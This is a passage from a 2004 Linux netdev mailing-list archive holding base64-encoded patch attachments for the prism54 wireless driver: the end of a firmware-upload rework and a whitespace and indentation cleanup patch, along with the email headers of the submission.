V0lORE9XX1NJWkUgOiBmd19sZW47CisJCQl1MzIgKmRldl9md19wdHIgPSBkZXZpY2VfYmFzZSAr IElTTDM4WFhfRElSRUNUX01FTV9XSU47CisKKwkJCS8qIHNldCB0aGUgY2FyZHMgYmFzZSBhZGRy ZXNzIGZvciB3cml0dGluZyB0aGUgZGF0YSAqLworCQkJaXNsMzh4eF93MzJfZmx1c2goZGV2aWNl X2Jhc2UsIHJlZywKKwkJCQkJICBJU0wzOFhYX0RJUl9NRU1fQkFTRV9SRUcpOworCQkJd21iKCk7 CS8qIGJlIHBhcmFub2lkICovCisKKwkJCS8qIGluY3JlbWVudCB0aGUgd3JpdGUgYWRkcmVzcyBm b3IgbmV4dCBpdGVyYXRpb24gKi8KKwkJCXJlZyArPSBfZndfbGVuOworCQkJZndfbGVuIC09IF9m d19sZW47CisKKwkJCS8qIHdyaXRlIHRoZSBkYXRhIHRvIHRoZSBEaXJlY3QgTWVtb3J5IFdpbmRv dyAzMmJpdC13aXNlICovCisJCQkvKiBtZW1jcHlfdG9pbygpIGRvZXNuJ3QgZ3VhcmFudGVlIDMy Yml0IHdyaXRlcyA6LXwgKi8KKwkJCXdoaWxlIChfZndfbGVuID4gMCkgeworCQkJCS8qIHVzZSBu b24tc3dhcHBpbmcgd3JpdGVsKCkgKi8KKwkJCQlfX3Jhd193cml0ZWwoKmZ3X3B0ciwgZGV2X2Z3 X3B0cik7CisJCQkJZndfcHRyKyssIGRldl9md19wdHIrKzsKKwkJCQlfZndfbGVuIC09IDQ7CisJ CQl9CisKKwkJCS8qIGZsdXNoIFBDSSBwb3N0aW5nICovCisJCQkodm9pZCkgcmVhZGwoZGV2aWNl X2Jhc2UgKyBJU0wzOFhYX1BDSV9QT1NUSU5HX0ZMVVNIKTsKKwkJCXdtYigpOwkvKiBiZSBwYXJh bm9pZCBhZ2FpbiAqLworCisJCQlCVUdfT04oX2Z3X2xlbiAhPSAwKTsKKwkJfQorCisJCUJVR19P Tihmd19sZW4gIT0gMCk7CisKKwkJcmVsZWFzZV9maXJtd2FyZShmd19lbnRyeSk7CisJfQorCisJ Lyogbm93IHJlc2V0IHRoZSBkZXZpY2UKKwkgKiBjbGVhciB0aGUgUmVzZXQgJiBDbGtSdW4gYml0 LCBzZXQgdGhlIFJBTUJvb3QgYml0ICovCisJcmVnID0gcmVhZGwoZGV2aWNlX2Jhc2UgKyBJU0wz OFhYX0NUUkxfU1RBVF9SRUcpOworCXJlZyAmPSB+SVNMMzhYWF9DVFJMX1NUQVRfQ0xLUlVOOwor CXJlZyAmPSB+SVNMMzhYWF9DVFJMX1NUQVRfUkVTRVQ7CisJcmVnIHw9IElTTDM4WFhfQ1RSTF9T VEFUX1JBTUJPT1Q7CisJaXNsMzh4eF93MzJfZmx1c2goZGV2aWNlX2Jhc2UsIHJlZywgSVNMMzhY WF9DVFJMX1NUQVRfUkVHKTsKKwl3bWIoKTsKKwl1ZGVsYXkoSVNMMzhYWF9XUklURUlPX0RFTEFZ KTsKKworCS8qIHNldCB0aGUgcmVzZXQgYml0IGxhdGNoZXMgdGhlIGhvc3Qgb3ZlcnJpZGUgYW5k IFJBTUJvb3QgYml0cworCSAqIGludG8gdGhlIGRldmljZSBmb3Igb3BlcmF0aW9uIHdoZW4gdGhl IHJlc2V0IGJpdCBpcyByZXNldCAqLworCXJlZyB8PSBJU0wzOFhYX0NUUkxfU1RBVF9SRVNFVDsK Kwl3cml0ZWwocmVnLCBkZXZpY2VfYmFzZSArIElTTDM4WFhfQ1RSTF9TVEFUX1JFRyk7CisJLyog ZG9uJ3QgZG8gZmx1c2ggUENJIHBvc3RpbmcgaGVyZSEgKi8KKwl3bWIoKTsKKwl1ZGVsYXkoSVNM MzhYWF9XUklURUlPX0RFTEFZKTsKKworCS8qIGNsZWFyIHRoZSByZXNldCBiaXQgc2hvdWxkIHN0 YXJ0IHRoZSB3aG9sZSBjaXJjdXMgKi8KKwlyZWcgJj0gfklTTDM4WFhfQ1RSTF9TVEFUX1JFU0VU OworCXdyaXRlbChyZWcsIGRldmljZV9iYXNlICsgSVNMMzhYWF9DVFJMX1NUQVRfUkVHKTsKKwkv KiBkb24ndCBkbyBmbHVzaCBQQ0kgcG9zdGluZyBoZXJlISAqLworCXdtYigpOworCXVkZWxheShJ U0wzOFhYX1dSSVRFSU9fREVMQVkpOworCisJcmV0dXJuIDA7Cit9CisKIC8qKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioKICAgICBEZXZpY2UgSW50ZXJydXB0IEhhbmRsZXIKICoqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKi8KQEAgLTMyMSwxMCArNDQwLDcgQEAKIAogCXByaW50ayhLRVJOX0RFQlVHICIlczogdXBs b2FkaW5nIGZpcm13YXJlLi4uXG4iLCBwcml2LT5uZGV2LT5uYW1lKTsKIAotCXJjID0gaXNsMzh4 eF91cGxvYWRfZmlybXdhcmUocHJpdi0+ZmlybXdhcmUsCi0JCVBSSVNNX0ZXX1BERVYsCi0JCXBy aXYtPmRldmljZV9iYXNlLAotCQlwcml2LT5kZXZpY2VfaG9zdF9hZGRyZXNzKTsKKwlyYyA9IGlz bF91cGxvYWRfZmlybXdhcmUocHJpdik7CiAJaWYgKHJjKSB7CiAJCS8qIGVycm9yIHVwbG9hZGlu ZyB0aGUgZmlybXdhcmUgKi8KIAkJcHJpbnRrKEtFUk5fRVJSICIlczogY291bGQgbm90IHVwbG9h ZCBmaXJtd2FyZSAoJyVzJylcbiIsCmRpZmYgLU5hdXIgbGludXgtMi42LjYtMDEvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9wcmlzbWNvbXBhdC5oIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvcHJpc21jb21wYXQuaAotLS0gbGludXgtMi42LjYtMDEvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9wcmlzbWNvbXBhdC5oCTIwMDQtMDUtMjkgMjA6NTk6 NDMuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVz cy9wcmlzbTU0L3ByaXNtY29tcGF0LmgJMjAwNC0wNS0yOSAyMjowMjowNy4wMDAwMDAwMDAgKzAy MDAKQEAgLTQwLDggKzQwLDYgQEAKIAogI2RlZmluZSBwcmlzbTU0X3N5bmNocm9uaXplX2lycShp cnEpIHN5bmNocm9uaXplX2lycShpcnEpCiAKLSNkZWZpbmUgX1JFUV9GV19ERVZfVAkJc3RydWN0 IGRldmljZSAqCi0KICNkZWZpbmUgUFJJU01fRldfUERFVgkJJnByaXYtPnBkZXYtPmRldgogCiAj ZW5kaWYJCQkJLyogX1BSSVNNX0NPTVBBVF9IICovCg== --=====================_50567412==_-- From margitsw@t-online.de Sun May 30 13:11:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:11:11 -0700 (PDT) Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UKB8gi003456 for ; Sun, 30 May 2004 13:11:09 -0700 Received: from fwd07.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BUWeB-0001bf-02; Sun, 30 May 2004 22:11:07 +0200 Received: from margit.t-online.de (VmhSm+ZSZepVNj7ox-IEx+NArYlJDa7Ij7DoR8gZ56xmcvZSAeUMQZ@[80.128.220.231]) by fwd07.sul.t-online.com with esmtp id 1BUWe4-0Y4xns0; Sun, 30 May 2004 22:11:00 +0200 Message-Id: <5.1.0.14.2.20040530220007.0c204788@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:10:24 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 17/17 linux-2.6.7-rc2] prism54: White space and indentation Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50585107==_" X-Seen: false X-ID: VmhSm+ZSZepVNj7ox-IEx+NArYlJDa7Ij7DoR8gZ56xmcvZSAeUMQZ X-archive-position: 5479 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50585107==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-05-29 Margit Schubert-While * Whit space and indentation patch --=====================_50585107==_ Content-Type: application/octet-stream; name="17-white-space-indent.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="17-white-space-indent.patch" ZGlmZiAtTmF1ciBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNs X2lvY3RsLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xf aW9jdGwuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9pb2N0bC5jCTIwMDQtMDUtMjggMTU6NTA6NDEuOTg5Njc4Mzc2ICswMjAwCisrKyBsaW51eC0y LjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0bC5jCTIwMDQtMDUt MjggMTU6NDk6NDAuNTE2MDIzNzkyICswMjAwCkBAIC0xNjYsNyArMTY2LDcgQEAKIAkgKiBmb3Ig aXQgc2F2ZSBvbGQgdmFsdWVzICovCiAJaWYgKGluaXRfbW9kZSA+IElXX01PREVfTU9OSVRPUiB8 fCBpbml0X21vZGUgPCBJV19NT0RFX0FVVE8pIHsKIAkJcHJpbnRrKEtFUk5fREVCVUcgIiVzKCk6 IFlvdSBwYXNzZWQgYSBub24tdmFsaWQgaW5pdF9tb2RlLiAiCi0JCQkJIlVzaW5nIGRlZmF1bHQg bW9kZVxuIiwgX19GVU5DVElPTl9fKTsKKwkJICAgICAgICJVc2luZyBkZWZhdWx0IG1vZGVcbiIs IF9fRlVOQ1RJT05fXyk7CiAJCWluaXRfbW9kZSA9IENBUkRfREVGQVVMVF9JV19NT0RFOwogCX0K IAkvKiBUaGlzIHNldHMgYWxsIG9mIHRoZSBtb2RlLWRlcGVuZGVudCB2YWx1ZXMgKi8KQEAgLTUx OCw5ICs1MTgsNyBAQAogCQlpKys7CiAJCWRhdGErKzsKIAl9Ci0KIAlyYW5nZS0+bnVtX2JpdHJh dGVzID0gaTsKLQogCWtmcmVlKHIucHRyKTsKIAogCXJldHVybiBydmFsdWU7CkBAIC01NTksNyAr NTU3LDYgQEAKIAlpbnQgcnZhbHVlOwogCiAJcnZhbHVlID0gbWd0X2dldF9yZXF1ZXN0KHByaXYs IERPVDExX09JRF9CU1NJRCwgMCwgTlVMTCwgJnIpOwotCiAJbWVtY3B5KGF3cnEtPnNhX2RhdGEs IHIucHRyLCA2KTsKIAlhd3JxLT5zYV9mYW1pbHkgPSBBUlBIUkRfRVRIRVI7CiAJa2ZyZWUoci5w dHIpOwpAQCAtNjY5LDcgKzY2Niw2IEBACiAJCQlrZnJlZShidWYpOwogCQl9CiAJfQotCiAJcmV0 dXJuIGN1cnJlbnRfZXY7CiB9CiAKQEAgLTczMSw3ICs3MjcsNyBAQAogCQltZW1jcHkoZXNzaWQu b2N0ZXRzLCBleHRyYSwgZHdycS0+bGVuZ3RoKTsKIAl9IGVsc2UKIAkJZXNzaWQubGVuZ3RoID0g MDsKLQkKKwogCWlmIChwcml2LT5pd19tb2RlICE9IElXX01PREVfTU9OSVRPUikKIAkJcmV0dXJu IG1ndF9zZXRfcmVxdWVzdChwcml2LCBET1QxMV9PSURfU1NJRCwgMCwgJmVzc2lkKTsKIApAQCAt ODE3LDIxICs4MTMsMjEgQEAKIAljaGFyICpkYXRhOwogCWludCByZXQsIGk7CiAJdW5pb24gb2lk X3Jlc190IHI7Ci0JCisKIAlpZiAodndycS0+dmFsdWUgPT0gLTEpIHsKIAkJLyogYXV0byBtb2Rl LiBObyBsaW1pdC4gKi8KIAkJcHJvZmlsZSA9IDE7CiAJCXJldHVybiBtZ3Rfc2V0X3JlcXVlc3Qo cHJpdiwgRE9UMTFfT0lEX1BST0ZJTEVTLCAwLCAmcHJvZmlsZSk7CiAJfQotCQorCiAJaWYgKChy ZXQgPQogCSAgICAgbWd0X2dldF9yZXF1ZXN0KHByaXYsIERPVDExX09JRF9TVVBQT1JURURSQVRF UywgMCwgTlVMTCwgJnIpKSkKIAkJcmV0dXJuIHJldDsKLQkJCisKIAlyYXRlID0gKHUzMikgKHZ3 cnEtPnZhbHVlIC8gNTAwMDAwKTsKIAlkYXRhID0gci5wdHI7CiAJaSA9IDA7Ci0JCisKIAl3aGls ZSAoZGF0YVtpXSkgewogCQlpZiAocmF0ZSAmJiAoZGF0YVtpXSA9PSByYXRlKSkgewogCQkJYnJl YWs7CkBAIC04NDIsMTQgKzgzOCwxNCBAQAogCQlkYXRhW2ldIHw9IDB4ODA7CiAJCWkrKzsKIAl9 Ci0JCQorCiAJaWYgKCFkYXRhW2ldKSB7CiAJCXJldHVybiAtRUlOVkFMOwogCX0KLQkKKwogCWRh dGFbaV0gfD0gMHg4MDsKIAlkYXRhW2kgKyAxXSA9IDA7Ci0JCisKIAkvKiBOb3csIGNoZWNrIGlm IHdlIHdhbnQgYSBmaXhlZCBvciBhdXRvIHZhbHVlICovCiAJaWYgKHZ3cnEtPmZpeGVkKSB7CiAJ CWRhdGFbMF0gPSBkYXRhW2ldOwpAQCAtODY0LDE0ICs4NjAsMTQgQEAKIAkJaSsrOwogCX0KIAlw cmludGsoIjBcbiIpOwotKi8JCisqLwogCXByb2ZpbGUgPSAtMTsKIAlyZXQgPSBtZ3Rfc2V0X3Jl cXVlc3QocHJpdiwgRE9UMTFfT0lEX1BST0ZJTEVTLCAwLCAmcHJvZmlsZSk7CiAJcmV0IHw9IG1n dF9zZXRfcmVxdWVzdChwcml2LCBET1QxMV9PSURfRVhURU5ERURSQVRFUywgMCwgZGF0YSk7CiAJ cmV0IHw9IG1ndF9zZXRfcmVxdWVzdChwcml2LCBET1QxMV9PSURfUkFURVMsIDAsIGRhdGEpOwot CQorCiAJa2ZyZWUoci5wdHIpOwotCQorCiAJcmV0dXJuIHJldDsKIH0KIApAQCAtODk3LDcgKzg5 Myw3IEBACiAJZGF0YSA9IHIucHRyOwogCXZ3cnEtPmZpeGVkID0gKGRhdGFbMF0gIT0gMCkgJiYg KGRhdGFbMV0gPT0gMCk7CiAJa2ZyZWUoci5wdHIpOwotCQorCiAJcmV0dXJuIDA7CiB9CiAKQEAg LTk5NCw3ICs5OTAsNiBAQAogCQlydmFsdWUgfD0KIAkJICAgIG1ndF9zZXRfcmVxdWVzdChwcml2 LCBET1QxMV9PSURfTUFYVFhMSUZFVElNRSwgMCwKIAkJCQkgICAgJmxpZmV0aW1lKTsKLQogCXJl dHVybiBydmFsdWU7CiB9CiAKQEAgLTEwOTAsOCArMTA4NSw3IEBACiAJCQl9CiAJCX0KIAl9Ci0K LQkvKiBub3cgcmVhZCB0aGUgZmxhZ3MgICAgICovCisJLyogbm93IHJlYWQgdGhlIGZsYWdzICov CiAJaWYgKGR3cnEtPmZsYWdzICYgSVdfRU5DT0RFX0RJU0FCTEVEKSB7CiAJCS8qIEVuY29kaW5n IGRpc2FibGVkLCAKIAkJICogYXV0aGVuID0gRE9UMTFfQVVUSF9PUzsKQEAgLTEyNDAsNyArMTIz NCw3IEBACiAKIHN0YXRpYyBpbnQKIHByaXNtNTRfc2V0X3UzMihzdHJ1Y3QgbmV0X2RldmljZSAq bmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKLQkJICAgX191MzIgKiB1d3JxLCBj aGFyICpleHRyYSkKKwkJX191MzIgKiB1d3JxLCBjaGFyICpleHRyYSkKIHsKIAl1MzIgb2lkID0g dXdycVswXSwgdSA9IHV3cnFbMV07CiAKQEAgLTE4NTgsNyArMTg1Miw3IEBACiAJZW51bSBvaWRf bnVtX3QgbiA9IG1ndF9vaWR0b251bShmcmFtZS0+aGVhZGVyLT5vaWQpOwogCiAJaWYgKG4gIT0g T0lEX05VTV9MQVNUKQotCXByaXNtNTRfcHJvY2Vzc190cmFwX2hlbHBlcihuZXRkZXZfcHJpdihu ZGV2KSwgbiwgZnJhbWUtPmRhdGEpOworCQlwcmlzbTU0X3Byb2Nlc3NfdHJhcF9oZWxwZXIobmV0 ZGV2X3ByaXYobmRldiksIG4sIGZyYW1lLT5kYXRhKTsKIAlpc2xwY2lfbWd0X3JlbGVhc2UoZnJh bWUpOwogfQogCkBAIC0xOTM1LDcgKzE5MjksNyBAQAogCQkgIF9fdTMyICogdXdycSwgY2hhciAq ZXh0cmEpCiB7CiAJaXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJpdihuZGV2KTsKLQkK KwogCXByaXYtPnByaXZfb2lkID0gKnV3cnE7CiAJcHJpbnRrKCIlczogb2lkIDB4JTA4WFxuIiwg bmRldi0+bmFtZSwgKnV3cnEpOwogCkBAIC0xOTQ0LDE1ICsxOTM4LDE1IEBACiAKIGludAogcHJp c201NF9kZWJ1Z19nZXRfb2lkKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaXdfcmVx dWVzdF9pbmZvICppbmZvLAotCQlzdHJ1Y3QgaXdfcG9pbnQgKmRhdGEsIGNoYXIgKmV4dHJhKQor CQkgICAgICBzdHJ1Y3QgaXdfcG9pbnQgKmRhdGEsIGNoYXIgKmV4dHJhKQogewogCWlzbHBjaV9w cml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJc3RydWN0IGlzbHBjaV9tZ210ZnJh bWUgKnJlc3BvbnNlID0gTlVMTDsKIAlpbnQgcmV0ID0gLUVJTywgcmVzcG9uc2Vfb3AgPSBQSU1G T1JfT1BfRVJST1I7Ci0JCisKIAlwcmludGsoIiVzOiBnZXRfb2lkIDB4JTA4WFxuIiwgbmRldi0+ bmFtZSwgcHJpdi0+cHJpdl9vaWQpOwogCWRhdGEtPmxlbmd0aCA9IDA7Ci0JCisKIAlpZiAoaXNs cGNpX2dldF9zdGF0ZShwcml2KSA+PSBQUlZfU1RBVEVfSU5JVCkgewogCQlyZXQgPQogCQkgICAg aXNscGNpX21ndF90cmFuc2FjdGlvbihwcml2LT5uZGV2LCBQSU1GT1JfT1BfR0VULApAQCAtMTk3 NiwyMSArMTk3MCwyMSBAQAogCQkJcHJpbnRrKCIlczogbGVuOiAlaVxuIiwgbmRldi0+bmFtZSwg ZGF0YS0+bGVuZ3RoKTsKIAkJfQogCX0KLQkKKwogCXJldHVybiByZXQ7CiB9CiAKIGludAogcHJp c201NF9kZWJ1Z19zZXRfb2lkKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaXdfcmVx dWVzdF9pbmZvICppbmZvLAotCQlzdHJ1Y3QgaXdfcG9pbnQgKmRhdGEsIGNoYXIgKmV4dHJhKQor CQkgICAgICBzdHJ1Y3QgaXdfcG9pbnQgKmRhdGEsIGNoYXIgKmV4dHJhKQogewogCWlzbHBjaV9w cml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJc3RydWN0IGlzbHBjaV9tZ210ZnJh bWUgKnJlc3BvbnNlID0gTlVMTDsKIAlpbnQgcmV0ID0gMCwgcmVzcG9uc2Vfb3AgPSBQSU1GT1Jf T1BfRVJST1I7Ci0JCisKIAlwcmludGsoIiVzOiBzZXRfb2lkIDB4JTA4WFx0bGVuOiAlZFxuIiwg bmRldi0+bmFtZSwgcHJpdi0+cHJpdl9vaWQsCiAJICAgICAgIGRhdGEtPmxlbmd0aCk7Ci0JCisK IAlpZiAoaXNscGNpX2dldF9zdGF0ZShwcml2KSA+PSBQUlZfU1RBVEVfSU5JVCkgewogCQlyZXQg PQogCQkgICAgaXNscGNpX21ndF90cmFuc2FjdGlvbihwcml2LT5uZGV2LCBQSU1GT1JfT1BfU0VU LApAQCAtMjAwNSwxMCArMTk5OSwxMCBAQAogCQl9CiAJCWlmIChyZXQgfHwgcmVzcG9uc2Vfb3Ag PT0gUElNRk9SX09QX0VSUk9SKSB7CiAJCQlwcmludGsoIiVzOiBFSU9cbiIsIG5kZXYtPm5hbWUp OwotCQkgICAgICAgIHJldCA9IC1FSU87CisJCQlyZXQgPSAtRUlPOwogCQl9CiAJfQotCQorCiAJ cmV0dXJuIChyZXQgPyByZXQgOiAtRUlOUFJPR1JFU1MpOwogfQogCkBAIC0yMTA3LDcgKzIxMDEs NyBAQAogI2RlZmluZSBQUklTTTU0X0RCR19HRVRfT0lECVNJT0NJV0ZJUlNUUFJJVisxNQogI2Rl ZmluZSBQUklTTTU0X0RCR19TRVRfT0lECVNJT0NJV0ZJUlNUUFJJVisxNgogCi0jZGVmaW5lIFBS SVNNNTRfR0VUX09JRAkgICBTSU9DSVdGSVJTVFBSSVYrMTcKKyNkZWZpbmUgUFJJU001NF9HRVRf T0lECQlTSU9DSVdGSVJTVFBSSVYrMTcKICNkZWZpbmUgUFJJU001NF9TRVRfT0lEX1UzMglTSU9D SVdGSVJTVFBSSVYrMTgKICNkZWZpbmUJUFJJU001NF9TRVRfT0lEX1NUUglTSU9DSVdGSVJTVFBS SVYrMjAKICNkZWZpbmUJUFJJU001NF9TRVRfT0lEX0FERFIJU0lPQ0lXRklSU1RQUklWKzIyCkBA IC0yMTc5LDcgKzIxNzMsNyBAQAogCUlXUFJJVl9VMzIoRE9UMTFfT0lEX0FVVEhFTkFCTEUsICJh dXRoZW5hYmxlIiksCiAJSVdQUklWX1UzMihET1QxMV9PSURfUFJJVkFDWUlOVk9LRUQsICJwcml2 aW52b2siKSwKIAlJV1BSSVZfVTMyKERPVDExX09JRF9FWFVORU5DUllQVEVELCAiZXh1bmVuY3J5 cHQiKSwKLQkKKwogCUlXUFJJVl9VMzIoRE9UMTFfT0lEX1JFS0VZVEhSRVNIT0xELCAicmVrZXl0 aHJlc2giKSwKIAogCUlXUFJJVl9VMzIoRE9UMTFfT0lEX01BWFRYTElGRVRJTUUsICJtYXh0eGxp ZmUiKSwKZGlmZiAtTmF1ciBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX2Rldi5oIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX2Rldi5oCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3By aXNtNTQvaXNscGNpX2Rldi5oCTIwMDQtMDUtMjggMTQ6NDA6MjYuOTk0NDU1MDQ4ICswMjAwCisr KyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYu aAkyMDA0LTA1LTI4IDE0OjI1OjMwLjA2MzgwOTIzMiArMDIwMApAQCAtMTczLDcgKzE3Myw3IEBA CiAJaXNscGNpX3N0YXRlX3Qgc3RhdGU7CiAJaW50IHN0YXRlX29mZjsJCS8qIGVudW1lcmF0aW9u IG9mIG9mZi1zdGF0ZSwgaWYgMCB0aGVuCiAJCQkJICogd2UncmUgbm90IGluIGFueSBvZmYtc3Rh dGUgKi8KLQkKKwogCS8qIFdQQSBzdHVmZiAqLwogCWludCB3cGE7IC8qIFdQQSBtb2RlIGVuYWJs ZWQgKi8KIAlzdHJ1Y3QgbGlzdF9oZWFkIGJzc193cGFfbGlzdDsKZGlmZiAtTmF1ciBsaW51eC0y LjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jIGxpbnV4LTIu Ni42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jCi0tLSBsaW51 eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jCTIwMDQt MDUtMjggMTU6NTA6NDEuOTkxNjc4MDcyICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwkyMDA0LTA1LTI4IDE1OjQ5OjQwLjUx NzAyMzY0MCArMDIwMApAQCAtMjA4LDcgKzIwOCw3IEBACiAJcHJpdi0+ZGF0YV9sb3dfdHhbaW5k ZXhdID0gc2tiOwogCS8qIHNldCB0aGUgcHJvcGVyIGZyYWdtZW50IHN0YXJ0IGFkZHJlc3MgYW5k IHNpemUgaW5mb3JtYXRpb24gKi8KIAlmcmFnbWVudC0+c2l6ZSA9IGNwdV90b19sZTE2KGZyYW1l X3NpemUpOwotCWZyYWdtZW50LT5mbGFncyA9IGNwdV90b19sZTE2KDApOyAgLyogc2V0IHRvIDEg aWYgbW9yZSBmcmFnbWVudHMgKi8KKwlmcmFnbWVudC0+ZmxhZ3MgPSBjcHVfdG9fbGUxNigwKTsJ Lyogc2V0IHRvIDEgaWYgbW9yZSBmcmFnbWVudHMgKi8KIAlmcmFnbWVudC0+YWRkcmVzcyA9IGNw dV90b19sZTMyKHBjaV9tYXBfYWRkcmVzcyk7CiAJY3Vycl9mcmFnKys7CiAKQEAgLTIxOCw3ICsy MTgsNyBAQAogCWNiLT5kcml2ZXJfY3Vycl9mcmFnW0lTTDM4WFhfQ0JfVFhfREFUQV9MUV0gPSBj cHVfdG9fbGUzMihjdXJyX2ZyYWcpOwogCiAJaWYgKGN1cnJfZnJhZyAtIHByaXYtPmZyZWVfZGF0 YV90eCArIElTTDM4WFhfTUlOX1FUSFJFU0hPTEQKLQkgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPiBJU0wzOFhYX0NCX1RYX1FTSVpFKSB7CisJICAgID4gSVNMMzhY WF9DQl9UWF9RU0laRSkgewogCQkvKiBzdG9wIHNlbmRzIGZyb20gdXBwZXIgbGF5ZXJzICovCiAJ CW5ldGlmX3N0b3BfcXVldWUobmRldik7CiAKQEAgLTIzOSw3ICsyMzksNyBAQAogCiAJcmV0dXJu IDA7CiAKLSBkcm9wX2ZyZWU6CisgICAgICBkcm9wX2ZyZWU6CiAJLyogZnJlZSB0aGUgc2tidWYg c3RydWN0dXJlIGJlZm9yZSBhYm9ydGluZyAqLwogCWRldl9rZnJlZV9za2Ioc2tiKTsKIAlza2Ig PSBOVUxMOwpAQCAtMjg3LDcgKzI4Nyw3IEBACiAJCSAgICAoc3RydWN0IGF2c184MDIxMV8xX2hl YWRlciAqKSBza2JfcHVzaCgqc2tiLAogCQkJCQkJCSAgIHNpemVvZiAoc3RydWN0CiAJCQkJCQkJ CSAgIGF2c184MDIxMV8xX2hlYWRlcikpOwotCisJCQogCQlhdnMtPnZlcnNpb24gPSBjcHVfdG9f YmUzMihQODAyMTFDQVBUVVJFX1ZFUlNJT04pOwogCQlhdnMtPmxlbmd0aCA9IGNwdV90b19iZTMy KHNpemVvZiAoc3RydWN0IGF2c184MDIxMV8xX2hlYWRlcikpOwogCQlhdnMtPm1hY3RpbWUgPSBj cHVfdG9fYmU2NChsZTY0X3RvX2NwdShjbG9jaykpOwpAQCAtNDg3LDEwICs0ODcsMTAgQEAKIHZv aWQKIGlzbHBjaV9kb19yZXNldF9hbmRfd2FrZSh2b2lkICpkYXRhKQogewotICAgICAgIGlzbHBj aV9wcml2YXRlICpwcml2ID0gKGlzbHBjaV9wcml2YXRlICopIGRhdGE7Ci0gICAgICAgaXNscGNp X3Jlc2V0KHByaXYsIDEpOwotICAgICAgIG5ldGlmX3dha2VfcXVldWUocHJpdi0+bmRldik7Ci0g ICAgICAgcHJpdi0+cmVzZXRfdGFza19wZW5kaW5nID0gMDsKKwlpc2xwY2lfcHJpdmF0ZSAqcHJp diA9IChpc2xwY2lfcHJpdmF0ZSAqKSBkYXRhOworCWlzbHBjaV9yZXNldChwcml2LCAxKTsKKwlu ZXRpZl93YWtlX3F1ZXVlKHByaXYtPm5kZXYpOworCXByaXYtPnJlc2V0X3Rhc2tfcGVuZGluZyA9 IDA7CiB9CiAKIHZvaWQKZGlmZiAtTmF1ciBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jCTIwMDQtMDUtMjggMTU6MTQ6NDkuNDI2OTE3NjU2 ICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bHBjaV9tZ3QuYwkyMDA0LTA1LTI4IDE1OjEyOjQ5LjM3MDE2OTA1NiArMDIwMApAQCAtODUsNyAr ODUsNyBAQAogewogCXBpbWZvcl9oZWFkZXJfdCAqaCA9IGRhdGE7CiAKLSAgICAgICAgd2hpbGUg KCh2b2lkICopIGggPCBkYXRhICsgbGVuKSB7CisJd2hpbGUgKCh2b2lkICopIGggPCBkYXRhICsg 